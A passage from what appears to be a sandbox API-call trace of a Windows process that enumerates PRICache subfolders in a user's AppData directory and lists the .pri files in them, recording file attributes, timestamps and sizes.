ftLastWriteTime.dwLowDateTime=0x86414229, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.916] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86414229, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x86414229, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x86414229, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x12710, dwReserved0=0x0, dwReserved1=0x0, cFileName="3424778889.pri", cAlternateFileName="342477~1.PRI")) returned 1 [0179.916] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.916] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8a [0179.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8a [0179.916] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6b7131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a6b7131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a6b7131, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.917] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6b7131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a6b7131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a6b7131, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.917] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6b7131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a6b7131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a6b7131, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.917] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\166769388", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\166769388", lpFilePart=0x0) returned 0x42 [0179.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\166769388", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\166769388", lpFilePart=0x0) returned 0x42 [0179.918] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\166769388\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd16fe20c, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xd16fe20c, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xd16fe20c, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.919] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd16fe20c, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xd16fe20c, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xd16fe20c, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.919] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16fe20c, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xd16fe20c, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xd16fe20c, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x280b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2180816464.pri", cAlternateFileName="218081~1.PRI")) returned 1 [0179.919] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.919] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1683741627", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1683741627", lpFilePart=0x0) returned 0x43 [0179.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1683741627", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1683741627", lpFilePart=0x0) returned 0x43 [0179.919] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1683741627\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc77cad3f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc77cad3f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc77cad3f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.919] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc77cad3f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc77cad3f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc77cad3f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.920] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77cad3f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc77cad3f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc77cad3f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0xbbf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4083866413.pri", cAlternateFileName="408386~1.PRI")) returned 1 [0179.920] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.920] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1742034116", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1742034116", lpFilePart=0x0) returned 0x43 [0179.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1742034116", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1742034116", lpFilePart=0x0) returned 0x43 [0179.920] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1742034116\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca3f417, ftCreationTime.dwHighDateTime=0x1d5c555, ftLastAccessTime.dwLowDateTime=0xbca3f417, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0xbca3f417, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.921] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca3f417, ftCreationTime.dwHighDateTime=0x1d5c555, ftLastAccessTime.dwLowDateTime=0xbca3f417, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0xbca3f417, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.921] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca3f417, ftCreationTime.dwHighDateTime=0x1d5c555, ftLastAccessTime.dwLowDateTime=0xbca3f417, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0xbca3f417, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x36870, dwReserved0=0x0, dwReserved1=0x0, cFileName="2968595983.pri", cAlternateFileName="296859~1.PRI")) returned 1 [0179.921] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.921] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1826862827", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1826862827", lpFilePart=0x0) returned 0x43 [0179.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1826862827", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1826862827", lpFilePart=0x0) returned 0x43 [0179.922] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\1826862827\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc440dec5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc440dec5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc440dec5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.922] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc440dec5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc440dec5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc440dec5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.922] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc440dec5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc440dec5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc440dec5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0xbb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="426030224.pri", cAlternateFileName="426030~1.PRI")) returned 1 [0179.922] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.923] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2099242119", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2099242119", lpFilePart=0x0) returned 0x43 [0179.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2099242119", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2099242119", lpFilePart=0x0) returned 0x43 [0179.923] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2099242119\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38be9538, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.923] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38be9538, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.923] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38be9538, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38c0f7bf, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="3719457399.pri", cAlternateFileName="371945~1.PRI")) returned 1 [0179.923] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.923] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2111694984", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2111694984", lpFilePart=0x0) returned 0x43 [0179.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2111694984", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2111694984", lpFilePart=0x0) returned 0x43 [0179.924] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2111694984\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8eb649, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe8eb649, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe8eb649, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.925] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8eb649, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe8eb649, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe8eb649, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.925] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eb649, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe8eb649, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe90fd40, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x775d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4231864963.pri", cAlternateFileName="423186~1.PRI")) returned 1 [0179.925] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.925] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2174779919", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2174779919", lpFilePart=0x0) returned 0x43 [0179.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2174779919", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2174779919", lpFilePart=0x0) returned 0x43 [0179.926] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2174779919\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc421de2e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc421de2e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc421de2e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0179.926] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc421de2e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc421de2e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc421de2e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.926] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc421de2e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc421de2e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc421de2e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4281495864.pri", 